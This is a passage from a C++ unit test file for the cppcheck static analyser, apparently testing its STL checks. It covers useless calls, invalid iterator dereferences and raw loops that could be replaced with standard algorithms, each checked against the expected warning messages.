ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n 